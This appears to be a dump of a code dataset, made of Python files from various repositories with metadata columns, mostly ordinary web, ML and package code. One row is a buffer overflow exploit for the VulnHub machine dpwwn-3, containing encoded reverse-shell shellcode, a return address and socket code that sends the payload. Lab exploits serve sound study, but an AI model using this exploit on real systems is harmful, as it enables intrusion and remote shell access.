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train · 336k rows

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b5dfeaa04dc9176272b9d8b75ba432691811657f	449	py	Python	python/scikitlearn/ml_hello_worlds/ml1.py	erisky/my_practices	10af209a163fb3e527b9c22c946365f1f317c07b	[ "MIT" ]	null	null	null	python/scikitlearn/ml_hello_worlds/ml1.py	erisky/my_practices	10af209a163fb3e527b9c22c946365f1f317c07b	[ "MIT" ]	null	null	null	python/scikitlearn/ml_hello_worlds/ml1.py	erisky/my_practices	10af209a163fb3e527b9c22c946365f1f317c07b	[ "MIT" ]	null	null	null	# import sklearn from sklearn import tree features = [[140,1], [130,1], [150,0], [170, 0], [172,1]] labels = [0,0,1,1,1] # classfiler clf = tree.DecisionTreeClassifier() clf = clf.fit(features, labels) print clf.predict([[120, 0]]) print clf.predict([[130, 0]]) print clf.predict([[140, 0]]) print clf.predict([[150, 0]]) print clf.predict([[120, 1]]) print clf.predict([[130, 1]]) print clf.predict([[140, 1]]) print clf.predict([[150, 1]])	19.521739	57	0.639198	72	449	3.986111	0.277778	0.222997	0.418118	0.222997	0	0	0	0	0	0	0.14578	0.129176	449	22	58	20.409091	0.588235	0.055679	0	0	0	0	0	0	0	0	0	0	null	null	0	0.076923	null	null	0.615385	0	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	1	0	0	0	0	0	0	1	5
b5ecb35472e8face6141a7d87d7d9daf3a39bd4a	127	py	Python	dashboard/admin.py	yusufom/ERP	a1844d0ece0ab5fff748d75a3ac7a2a963e56576	[ "Unlicense" ]	null	null	null	dashboard/admin.py	yusufom/ERP	a1844d0ece0ab5fff748d75a3ac7a2a963e56576	[ "Unlicense" ]	null	null	null	dashboard/admin.py	yusufom/ERP	a1844d0ece0ab5fff748d75a3ac7a2a963e56576	[ "Unlicense" ]	null	null	null	from django.contrib import admin from .models import todo, dashboard admin.site.register(todo) admin.site.register(dashboard)	21.166667	35	0.818898	18	127	5.777778	0.555556	0.173077	0.326923	0	0	0	0	0	0	0	0	0.094488	127	6	36	21.166667	0.904348	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.5	0	0.5	0	1	0	0	null	0	1	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
1fb0f7cbad5d4134b747f823e2d682e2fbbdc9eb	39	py	Python	scrapy_example/scrapy_gitee/scrapy_gitee/__init__.py	bobjiangps/python-spider-example	7021dc3052fe1a667b79b810403e8ae3f03253b3	[ "MIT" ]	null	null	null	scrapy_example/scrapy_gitee/scrapy_gitee/__init__.py	bobjiangps/python-spider-example	7021dc3052fe1a667b79b810403e8ae3f03253b3	[ "MIT" ]	3	2021-03-31T19:20:41.000Z	2022-03-12T01:03:06.000Z	scrapy_example/scrapy_gitee/scrapy_gitee/__init__.py	bobjiangps/python-spider-example	7021dc3052fe1a667b79b810403e8ae3f03253b3	[ "MIT" ]	null	null	null	# scrapy crawl scrapy_gitee -o repo.csv	39	39	0.794872	7	39	4.285714	0.857143	0	0	0	0	0	0	0	0	0	0	0.128205	39	1	39	39	0.882353	0.948718	null	0	null	0	0	null	0	0	null	1	null	true	0	0	null	null	null	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	1	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	0	5
1fb3a42cef135e482fa00b59f624c71e7ed45612	164	py	Python	classify/__init__.py	daleroberts/QGIS-Classifier-Plugin	c0e302a98c7370115dc6c8ac2b2fdd48ed6d816f	[ "Apache-2.0" ]	null	null	null	classify/__init__.py	daleroberts/QGIS-Classifier-Plugin	c0e302a98c7370115dc6c8ac2b2fdd48ed6d816f	[ "Apache-2.0" ]	null	null	null	classify/__init__.py	daleroberts/QGIS-Classifier-Plugin	c0e302a98c7370115dc6c8ac2b2fdd48ed6d816f	[ "Apache-2.0" ]	null	null	null	# noinspection PyPep8Naming def classFactory(iface): # pylint: disable=invalid-name from .ClassifyPlugin import ClassifyPlugin return ClassifyPlugin(iface)	41	56	0.79878	16	164	8.1875	0.8125	0	0	0	0	0	0	0	0	0	0.007042	0.134146	164	4	57	41	0.915493	0.329268	0	0	0	0	0	0	0	0	0	1	0.333333	false	0	0.333333	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	0	1	0	1	0	5
9512933973c7eac74276e2ff7a93e668cda47900	197	py	Python	operations/admin.py	knowhere1998/lend_it_up_server	279e72a1f337f4879cbbfec4a3f49db169a6e071	[ "MIT" ]	null	null	null	operations/admin.py	knowhere1998/lend_it_up_server	279e72a1f337f4879cbbfec4a3f49db169a6e071	[ "MIT" ]	null	null	null	operations/admin.py	knowhere1998/lend_it_up_server	279e72a1f337f4879cbbfec4a3f49db169a6e071	[ "MIT" ]	null	null	null	from django.contrib import admin from .models import Category, Product, Request # Register your models here. admin.site.register(Category) admin.site.register(Product) admin.site.register(Request)	28.142857	46	0.817259	27	197	5.962963	0.481481	0.167702	0.31677	0	0	0	0	0	0	0	0	0.091371	197	6	47	32.833333	0.899441	0.13198	0	0	0	0	0	0	0	0	0	1	0	true	0	0.4	0	0.4	0	1	0	0	null	0	1	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
1f247cdbc739d289092fd6f757576ac0af4aaba8	1,477	py	Python	deployments/migrations/0036_auto_20201118_0812.py	IFRCGo/ifrcgo-api	c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a	[ "MIT" ]	11	2018-06-11T06:05:12.000Z	2022-03-25T09:31:44.000Z	deployments/migrations/0036_auto_20201118_0812.py	IFRCGo/ifrcgo-api	c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a	[ "MIT" ]	498	2017-11-07T21:20:13.000Z	2022-03-31T14:37:18.000Z	deployments/migrations/0036_auto_20201118_0812.py	IFRCGo/ifrcgo-api	c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a	[ "MIT" ]	6	2018-04-11T13:29:50.000Z	2020-07-16T16:52:11.000Z	# Generated by Django 2.2.13 on 2020-11-18 08:12 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('deployments', '0035_personnel_molnix_tags'), ] operations = [ migrations.AlterField( model_name='deployedperson', name='name', field=models.CharField(blank=True, max_length=255, null=True, verbose_name='name'), ), migrations.AlterField( model_name='deployedperson', name='role', field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'), ), migrations.AlterField( model_name='deployedperson', name='role_ar', field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'), ), migrations.AlterField( model_name='deployedperson', name='role_en', field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'), ), migrations.AlterField( model_name='deployedperson', name='role_es', field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'), ), migrations.AlterField( model_name='deployedperson', name='role_fr', field=models.CharField(blank=True, max_length=512, null=True, verbose_name='role'), ), ]	33.568182	95	0.596479	153	1,477	5.594771	0.287582	0.093458	0.175234	0.203271	0.771028	0.771028	0.716122	0.61215	0.61215	0.61215	0.035748	0.280298	1,477	43	96	34.348837	0.76952	0.031144	0.621622	1	0	0.126662	0.018195	0	0	0	0	1	0	false	0	0.027027	0	0.108108	0	0	0	0	null	0	0	1	0	1	1	0	0	1	0	0	0	0	0	0	1	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
1f2faded4889befa904b13655c7c8d5995c52e26	44	py	Python	wordly/__init__.py	clagraff/wordly	34d0a37e024872340716ea2a2dbfeca703103f21	[ "MIT" ]	null	null	null	wordly/__init__.py	clagraff/wordly	34d0a37e024872340716ea2a2dbfeca703103f21	[ "MIT" ]	null	null	null	wordly/__init__.py	clagraff/wordly	34d0a37e024872340716ea2a2dbfeca703103f21	[ "MIT" ]	null	null	null	"""Required __init__ for wordly package."""	22	43	0.727273	5	44	5.6	1	0	0	0	0	0	0	0	0	0	0	0.113636	44	1	44	44	0.717949	0.840909	null	0	null	0	0	null	0	0	null	1	null	true	0	0	null	null	null	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	1	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	0	5
1f315865e608fa8bde5262dca9b563b3823a3624	215	py	Python	py-venture/premade/objects/armours.py	DVDTSB/py-text	6db668343ef2c8f6ec93b8c16a7105bea28dd5ef	[ "MIT" ]	1	2021-12-11T12:38:54.000Z	2021-12-11T12:38:54.000Z	py-venture/premade/objects/armours.py	DVDTSB/py-text	6db668343ef2c8f6ec93b8c16a7105bea28dd5ef	[ "MIT" ]	null	null	null	py-venture/premade/objects/armours.py	DVDTSB/py-text	6db668343ef2c8f6ec93b8c16a7105bea28dd5ef	[ "MIT" ]	null	null	null	import modules.armour as armour chainmail_armour = armour.Armour("Armour", "An chainmail armour, strong and resistant, crafted by some nerds.", 10, 3, 10, "chain" , "You took the armour.", "You dropped the armour.")	107.5	183	0.739535	32	215	4.9375	0.625	0.227848	0.227848	0	0	0	0	0	0	0	0.026882	0.134884	215	2	183	107.5	0.822581	0	0	0	0	0.550926	0	0	0	0	0	1	0	false	0	0.5	0	0.5	0	0	0	0	null	1	1	0	0	0	0	0	0	0	0	1	0	1	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	0	0	0	5
1f48d0e8e90431cb6955e1d57988c14a4075801c	5,358	py	Python	src/routers/users.py	Devansh3712/social-media-api	eaa9891f3cd2562e4a06d4e82c6634bda6c5368a	[ "MIT" ]	2	2022-01-28T14:43:34.000Z	2022-02-08T18:24:34.000Z	src/routers/users.py	Devansh3712/social-media-api	eaa9891f3cd2562e4a06d4e82c6634bda6c5368a	[ "MIT" ]	null	null	null	src/routers/users.py	Devansh3712/social-media-api	eaa9891f3cd2562e4a06d4e82c6634bda6c5368a	[ "MIT" ]	null	null	null	from copy import deepcopy from fastapi import ( APIRouter, Depends, HTTPException, status ) from ..database import Database from ..schemas import ( TokenData, User, UserResponse ) from ..oauth2 import get_current_user from ..utils import hash_password router = APIRouter( prefix = "/users", tags = ["Users"] ) db = Database() @router.post("/", response_model = UserResponse, status_code = status.HTTP_201_CREATED) async def create_user(user: User): if not db.collection_exists(user.username): user_dict = user.dict() user_dict["password"] = hash_password(user_dict["password"]) user_dict["_id"] = 0 result = db.insert(user.username, user_dict) return user.dict() raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR) @router.get("/{username}", response_model = UserResponse) async def get_user(username: str): result = db.read(username, [{ "_id": 0 }]) if not result: raise HTTPException( status_code = status.HTTP_404_NOT_FOUND, detail = f"User {username} doesn't exist in database." ) return result[0] @router.post("/follow/{username}", status_code = status.HTTP_201_CREATED) async def follow_user(username: str, user: TokenData = Depends(get_current_user)): follower = db.read(user.username, [{ "_id": 0 }]) following = db.read(username, [{ "_id": 0 }]) if not following: raise HTTPException( status_code = status.HTTP_404_NOT_FOUND, detail = f"User {username} doesn't exist in database." ) if username == user.username: raise HTTPException( status_code = status.HTTP_404_NOT_FOUND, detail = f"Cannot follow yourself." ) if username in follower[0]["following"]: raise HTTPException( status_code = status.HTTP_403_FORBIDDEN, detail = f"User already followed." ) update_follower = deepcopy(follower[0]) update_following = deepcopy(following[0]) update_follower["following"].append(username) update_following["followers"].append(user.username) update_follower["following_count"] += 1 update_following["followers_count"] += 1 result_follower = db.update(user.username, follower[0], update_follower) result_following = db.update(username, following[0], update_following) if not result_follower or not result_following: raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR) @router.post("/unfollow/{username}", status_code = status.HTTP_201_CREATED) async def unfollow_user(username: str, user: TokenData = Depends(get_current_user)): follower = db.read(user.username, [{ "_id": 0 }]) following = db.read(username, [{ "_id": 0 }]) if not following: raise HTTPException( status_code = status.HTTP_404_NOT_FOUND, detail = f"User {username} doesn't exist in database." ) if username == user.username: raise HTTPException( status_code = status.HTTP_404_NOT_FOUND, detail = f"Cannot unfollow yourself." ) if username not in follower[0]["following"]: raise HTTPException( status_code = status.HTTP_403_FORBIDDEN, detail = f"User not followed." ) update_follower = deepcopy(follower[0]) update_following = deepcopy(following[0]) update_follower["following"].remove(username) update_following["followers"].remove(user.username) update_follower["following_count"] -= 1 update_following["followers_count"] -= 1 result_follower = db.update(user.username, follower[0], update_follower) result_following = db.update(username, following[0], update_following) if not result_follower or not result_following: raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR) @router.post("/private", status_code = status.HTTP_201_CREATED) async def make_user_private(user: TokenData = Depends(get_current_user)): result = db.read(user.username, [{ "_id": 0 }]) if not result: raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR) if result[0]["private"]: raise HTTPException( status_code = status.HTTP_403_FORBIDDEN, detail = f"User account already private." ) updated_result = deepcopy(result[0]) updated_result["private"] = True update_result = db.update(user.username, result[0], updated_result) if not update_result: raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR) @router.post("/public", status_code = status.HTTP_201_CREATED) async def make_user_public(user: TokenData = Depends(get_current_user)): result = db.read(user.username, [{ "_id": 0 }]) if not result: raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR) if not result[0]["private"]: raise HTTPException( status_code = status.HTTP_403_FORBIDDEN, detail = f"User account already public." ) updated_result = deepcopy(result[0]) updated_result["private"] = False update_result = db.update(user.username, result[0], updated_result) if not update_result: raise HTTPException(status_code = status.HTTP_500_INTERNAL_SERVER_ERROR)	39.985075	87	0.683651	648	5,358	5.412037	0.131173	0.05988	0.095808	0.11976	0.779869	0.779869	0.779869	0.778158	0.739949	0.713715	0.021944	0.209033	5,358	133	88	40.285714	0.805569	0	0.452381	0	0	0.098731	0	0	0	0	0	1	0	false	0.015873	0.047619	0	0.063492	0	0	0	0	null	0	0	0	0	1	1	1	1	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
1f78c88e3c529ab7c03f0a31d67ee6150c5f687d	1,513	py	Python	VULNHUB/dpwwn_03/bof_dpwwn_03.py	ricardojoserf/write-ups	2de394e4608efcefc4a67cc8d0ef2dbf440bb50b	[ "MIT" ]	null	null	null	VULNHUB/dpwwn_03/bof_dpwwn_03.py	ricardojoserf/write-ups	2de394e4608efcefc4a67cc8d0ef2dbf440bb50b	[ "MIT" ]	null	null	null	VULNHUB/dpwwn_03/bof_dpwwn_03.py	ricardojoserf/write-ups	2de394e4608efcefc4a67cc8d0ef2dbf440bb50b	[ "MIT" ]	null	null	null	import sys,socket # Reverse shell for linux x86, lhost = 127.0.0.1, lport = 8000, encoding = x86/alpha_mixed, no conflictive characters payload = ( "\x89\xe3\xda\xdd\xd9\x73\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x70\x31\x79\x4b\x39\x67\x38\x63\x42\x73\x53\x73\x63\x63\x62" "\x4a\x75\x52\x6d\x59\x6b\x51\x4e\x50\x50\x66\x7a\x6d\x4f\x70" "\x6a\x33\x66\x39\x4c\x70\x35\x6f\x68\x4d\x4b\x30\x72\x69\x42" "\x59\x59\x69\x51\x78\x53\x4f\x33\x30\x47\x70\x47\x71\x71\x78" "\x77\x72\x63\x30\x67\x6f\x77\x30\x4d\x59\x6d\x31\x48\x30\x43" "\x56\x62\x70\x30\x51\x63\x63\x6f\x43\x63\x33\x4d\x59\x49\x71" "\x68\x4d\x6b\x30\x62\x72\x55\x38\x70\x6e\x34\x6f\x72\x53\x30" "\x68\x71\x78\x46\x4f\x56\x4f\x32\x42\x30\x69\x4e\x69\x68\x63" "\x52\x72\x30\x53\x4d\x59\x6d\x31\x6c\x70\x46\x6b\x7a\x6d\x4d" "\x50\x41\x41" ) ip_ = '127.0.0.1' port_ = 3210 # First get the stack address with gdb ("\x20\xf2\xff\xbf") # then as john (without gdb) adding some bytes ("\x40\xf2\xff\xbf") # then add some more running as root from the SH script ("\x80\xf2\xff\xbf") jmp_stack = "\x80\xf2\xff\xbf" nop = '\x90' buff = '\x41'732+jmp_stack+nop50+payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_, port_)) s.send(buff) s.close() # Vulnhub machine: https://www.vulnhub.com/entry/dpwwn-3,345/	39.815789	118	0.69002	310	1,513	3.33871	0.429032	0.052174	0.069565	0.081159	0.046377	0.028986	0.028986	0.028986	0.028986	0	0.291333	0.092531	1,513	37	119	40.891892	0.462491	0.247191	0	0	0.5	0.752737	0.711679	0	0	0	0	1	0	false	0	0.038462	0	0.038462	0	0	0	0	null	0	0	0	0	0	0	0	0	0	1	0	0	0	1	0	0	1	1	1	null	0	0	0	0	0	0	0	0	0	0	0	5
2f349d9528970618806275e34ababc23b98e97f2	82	py	Python	tempo-api/src/app/tempo/models/__init__.py	cuappdev/archives	061d0f9cccf278363ffaeb27fc655743b1052ae5	[ "MIT" ]	null	null	null	tempo-api/src/app/tempo/models/__init__.py	cuappdev/archives	061d0f9cccf278363ffaeb27fc655743b1052ae5	[ "MIT" ]	null	null	null	tempo-api/src/app/tempo/models/__init__.py	cuappdev/archives	061d0f9cccf278363ffaeb27fc655743b1052ae5	[ "MIT" ]	null	null	null	from app.base import * from app.constants import * from marshmallow import fields	20.5	30	0.804878	12	82	5.5	0.583333	0.212121	0	0	0	0	0	0	0	0	0	0.146341	82	3	31	27.333333	0.942857	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
2f416b88d078b19c1c5b4ed0aa107e5154e51e82	30	py	Python	dataset/__init__.py	StevenChumak/wcid-pytorch	c80257dbb8286c987b21dc63b62fcefcd5ebf8e5	[ "MIT" ]	null	null	null	dataset/__init__.py	StevenChumak/wcid-pytorch	c80257dbb8286c987b21dc63b62fcefcd5ebf8e5	[ "MIT" ]	null	null	null	dataset/__init__.py	StevenChumak/wcid-pytorch	c80257dbb8286c987b21dc63b62fcefcd5ebf8e5	[ "MIT" ]	1	2021-11-29T21:56:54.000Z	2021-11-29T21:56:54.000Z	from .dataset import RailData	15	29	0.833333	4	30	6.25	1	0	0	0	0	0	0	0	0	0	0	0.133333	30	1	30	30	0.961538	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
2f4ff0265fb9c4c4755fa15ca31c9a33bba003db	55	py	Python	lz4/block/__init__.py	ajholyoake/python-lz4	c4e16e27971707d84f5436c19dbe2520cc041d35	[ "BSD-3-Clause" ]	null	null	null	lz4/block/__init__.py	ajholyoake/python-lz4	c4e16e27971707d84f5436c19dbe2520cc041d35	[ "BSD-3-Clause" ]	null	null	null	lz4/block/__init__.py	ajholyoake/python-lz4	c4e16e27971707d84f5436c19dbe2520cc041d35	[ "BSD-3-Clause" ]	null	null	null	from ._block import compress, decompress # noqa: F401	27.5	54	0.763636	7	55	5.857143	1	0	0	0	0	0	0	0	0	0	0.065217	0.163636	55	1	55	55	0.826087	0.181818	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
2f52864aed577d11ecd1c48136fe50360d33145f	282	py	Python	test/colors.py	askpatrickw/micropython-stubber	ccd73538dde8a5da77b89aba79c0d7a076e5eecd	[ "MIT" ]	null	null	null	test/colors.py	askpatrickw/micropython-stubber	ccd73538dde8a5da77b89aba79c0d7a076e5eecd	[ "MIT" ]	null	null	null	test/colors.py	askpatrickw/micropython-stubber	ccd73538dde8a5da77b89aba79c0d7a076e5eecd	[ "MIT" ]	null	null	null	print("The below white on grey text is readable when executed Python, but not in the Pymakr REPL") print("\x1b[1;47m", end = '') print("This white on grey text is readable when executed Python, but not in the Pymakr REPL") print("\x1b[0m") print("Back to normal grey on black text")	56.4	98	0.734043	51	282	4.058824	0.529412	0.067633	0.10628	0.144928	0.695652	0.695652	0.695652	0.695652	0.695652	0.695652	0.02521	0.156028	282	5	99	56.4	0.844538	0	0	0	0	0.787986	0	0	0	0	0	1	0	true	0	0	0	0	1	0	0	0	null	0	0	0	0	0	0	0	0	1	0	1	0	0	0	0	0	0	1	0	null	0	0	0	0	0	1	0	0	0	0	1	5
2f5310665cef3c4c8c5dab7b16aa17c279d3fce4	157	py	Python	venv/Lib/site-packages/numpy/distutils/info.py	unbun/snake.ai	0c017357608dc7c06af0ca3ca57d870641461207	[ "MIT" ]	6,989	2017-07-18T06:23:18.000Z	2022-03-31T15:58:36.000Z	venv/lib/python3.7/site-packages/numpy/distutils/info.py	John1001Song/Big-Data-Robo-Adviser	9444dce96954c546333d5aecc92a06c3bfd19aa5	[ "MIT" ]	1,978	2017-07-18T09:17:58.000Z	2022-03-31T14:28:43.000Z	venv/lib/python3.7/site-packages/numpy/distutils/info.py	John1001Song/Big-Data-Robo-Adviser	9444dce96954c546333d5aecc92a06c3bfd19aa5	[ "MIT" ]	1,228	2017-07-18T09:03:13.000Z	2022-03-29T05:57:40.000Z	""" Enhanced distutils with Fortran compilers support and more. """ from __future__ import division, absolute_import, print_function postpone_import = True	22.428571	64	0.808917	19	157	6.315789	0.894737	0	0	0	0	0	0	0	0	0	0	0.127389	157	6	65	26.166667	0.875912	0.375796	0	0	0	0	0	0	0	0	0	1	0	false	0	1	0	1	0.5	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	0	1	1	5
2f89aa35aeb4b35ace3f2ffea5042b14d6adc753	34	py	Python	tests/test_reordering.py	stevedwards/strong-graphs	b509dc68fa4ce5c07664ba84e5f8dbf1888d4f8e	[ "MIT" ]	1	2020-07-16T03:26:07.000Z	2020-07-16T03:26:07.000Z	tests/test_reordering.py	stevedwards/strong-graphs	b509dc68fa4ce5c07664ba84e5f8dbf1888d4f8e	[ "MIT" ]	10	2020-07-15T06:07:59.000Z	2020-07-17T01:02:59.000Z	tests/test_reordering.py	stevedwards/strong-graphs	b509dc68fa4ce5c07664ba84e5f8dbf1888d4f8e	[ "MIT" ]	1	2020-07-16T05:38:38.000Z	2020-07-16T05:38:38.000Z	import pytest import hypothesis	6.8	17	0.823529	4	34	7	0.75	0	0	0	0	0	0	0	0	0	0	0.176471	34	4	18	8.5	1	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
85e797113dde26f05bda2c92c785fd1832f51ef2	429	py	Python	app/views.py	jacburge/StarfireTaiChi	c3e795afbbae40e2e634b5429e5fd68891ac8e70	[ "Apache-2.0" ]	null	null	null	app/views.py	jacburge/StarfireTaiChi	c3e795afbbae40e2e634b5429e5fd68891ac8e70	[ "Apache-2.0" ]	null	null	null	app/views.py	jacburge/StarfireTaiChi	c3e795afbbae40e2e634b5429e5fd68891ac8e70	[ "Apache-2.0" ]	null	null	null	from app import app from flask import render_template @app.route('/') def index(): return render_template('index.html') @app.route('/about/') def about(): return render_template('about.html') @app.route('/schedule/') def schedule(): return render_template('schedule.html') @app.route('/news/') def news(): return render_template('news.html') @app.route('/retreat/') def retreat(): return render_template('retreat.html')	19.5	40	0.717949	58	429	5.206897	0.258621	0.278146	0.331126	0	0	0	0	0	0	0	0	0.097902	429	22	41	19.5	0.780362	0	0	0	0	0.202326	0	0	0	0	0	1	0.294118	true	0	0.117647	0.294118	0.705882	0	0	0	0	null	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	1	0	0	1	0	0	5
85ee86ea25be25d8ef68d09db1d58f5583388040	138	py	Python	hellow.py	KingsPython/Kings	e5808f42842f47eb712bd044946b6aa16c43a272	[ "Apache-2.0" ]	null	null	null	hellow.py	KingsPython/Kings	e5808f42842f47eb712bd044946b6aa16c43a272	[ "Apache-2.0" ]	null	null	null	hellow.py	KingsPython/Kings	e5808f42842f47eb712bd044946b6aa16c43a272	[ "Apache-2.0" ]	null	null	null	import random a = random.randrange(1,10) print(a*a) print("我是小天才") print("我是来捣乱的") print("德玛西亚万岁") print("我是来捣乱的") print("德玛西亚万岁")	8.625	26	0.666667	20	138	4.6	0.5	0.23913	0.347826	0.478261	0	0	0	0	0	0	0.025	0.130435	138	16	27	8.625	0.741667	0	0.5	0	0	0.208633	0	0	0	0	0	1	0	false	0	0.125	0	0.125	0.75	1	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	1	5
85f869d64302ba1a2b93dd5997e9c6930915a2db	74	py	Python	aiozk/recipes/__init__.py	ex-tipsi/aiozk-backup	20e765fcf33ede1d25ac63bee74adb7259bbc75e	[ "MIT" ]	22	2019-08-21T11:39:21.000Z	2021-08-18T11:21:23.000Z	aiozk/recipes/__init__.py	ex-tipsi/aiozk-backup	20e765fcf33ede1d25ac63bee74adb7259bbc75e	[ "MIT" ]	44	2019-08-12T08:39:57.000Z	2021-10-08T19:38:46.000Z	aiozk/recipes/__init__.py	ex-tipsi/aiozk-backup	20e765fcf33ede1d25ac63bee74adb7259bbc75e	[ "MIT" ]	15	2017-01-13T12:19:54.000Z	2019-06-10T22:38:28.000Z	from .recipe import Recipe # noqa from .proxy import RecipeProxy # noqa	24.666667	38	0.756757	10	74	5.6	0.6	0	0	0	0	0	0	0	0	0	0	0.189189	74	2	39	37	0.933333	0.121622	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
c80d7c42b93b5fb32c2aa9b9cbb1e4120ca6b57f	4,986	py	Python	assistant/products/helpers.py	kapiak/ware_prod	ae61256890834c434d2e38cc2ccacf00b638665a	[ "MIT" ]	null	null	null	assistant/products/helpers.py	kapiak/ware_prod	ae61256890834c434d2e38cc2ccacf00b638665a	[ "MIT" ]	null	null	null	assistant/products/helpers.py	kapiak/ware_prod	ae61256890834c434d2e38cc2ccacf00b638665a	[ "MIT" ]	null	null	null	from django.urls import reverse from django.utils.translation import gettext_lazy as _ from wagtail.contrib.modeladmin.helpers import ButtonHelper class ProductButtonHelper(ButtonHelper): # Define classes for our button, here we can set an icon for example orders_button_classnames = [ "button-small", "icon", "icon-list-ul", "orders-button", ] purchase_button_classnames = ["button-small", "icon", "icon-repeat"] allocate_button_classnames = [ "button-small", "icon", "icon-link", "purchase-button", ] def orders_button(self, obj): # Define a label for our button return { "url": reverse( "products:product_orders_modal_workflow", kwargs={"guid": obj.guid}, ), # decide where the button links to "label": _("Orders"), "classname": self.finalise_classname(self.orders_button_classnames), "title": _("Orders"), "id": obj.guid, } def purchase_button(self, obj): # Define a label for our button return { "url": reverse( "products:make_product_purchase", kwargs={"guid": obj.guid} ), # decide where the button links to "label": _("Purchase"), "classname": self.finalise_classname(self.purchase_button_classnames), "title": _("Purchase"), "id": obj.guid, } def allocate_button(self, obj): # Define a label for our button return { "url": "/", # decide where the button links to "label": _("Allocate"), "classname": self.finalise_classname(self.allocate_button_classnames), "title": _("Allocate"), "id": obj.guid, } def get_buttons_for_obj( self, obj, exclude=None, classnames_add=None, classnames_exclude=None ): """ This function is used to gather all available buttons. We append our custom button to the btns list. """ btns = super().get_buttons_for_obj( obj, exclude, classnames_add, classnames_exclude ) if "orders" not in (exclude or []): btns.append(self.orders_button(obj)) if "purchase" not in (exclude or []): btns.append(self.purchase_button(obj)) if "allocate" not in (exclude or []): btns.append(self.allocate_button(obj)) return btns class ProductVariantButtonHelper(ButtonHelper): allocate_button_classnames = [ "button-small", "icon", "icon-link", "allocate-button", ] purchase_button_classnames = [ "button-small", "icon", "icon-repeat", "purchase-button", ] receive_button_classnames = [ "button-small", "icon", "icon-repeat", "receive-button", ] def purchase_button(self, obj): # Define a label for our button return { "url": reverse( "products:make_product_purchase", kwargs={"guid": obj.guid} ), # decide where the button links to "label": _("Purchase"), "classname": self.finalise_classname(self.purchase_button_classnames), "title": _("Purchase"), "id": obj.guid, } def allocate_button(self, obj): # Define a label for our button return { "url": reverse( "products:allocate_product_to_order", kwargs={"guid": obj.guid}, # decide where the button links to ), "label": _("Allocate"), "classname": self.finalise_classname(self.allocate_button_classnames), "title": _("Allocate"), "id": obj.guid, } def receive_button(self, obj): # Define a label for our button return { "url": reverse( "products:receive_product_stock", kwargs={"guid": obj.guid}, # decide where the button links to ), "label": _("Receive"), "classname": self.finalise_classname(self.receive_button_classnames), "title": _("Receive"), "id": obj.guid, } def get_buttons_for_obj( self, obj, exclude=None, classnames_add=None, classnames_exclude=None ): """ This function is used to gather all available buttons. We append our custom button to the btns list. """ btns = super().get_buttons_for_obj( obj, exclude, classnames_add, classnames_exclude ) if "purchase" not in (exclude or []): btns.append(self.purchase_button(obj)) if "receive" not in (exclude or []): btns.append(self.receive_button(obj)) if "allocate" not in (exclude or []): btns.append(self.allocate_button(obj)) return btns	32.376623	84	0.561572	515	4,986	5.266019	0.165049	0.070796	0.030973	0.059735	0.801254	0.77618	0.763274	0.727507	0.692847	0.652286	0	0.324709	4,986	153	85	32.588235	0.805465	0.129763	0.655738	0	0	0.162523	0.037993	0	0	0	0	1	0.065574	false	0	0.02459	0.04918	0.221311	0	0	0	0	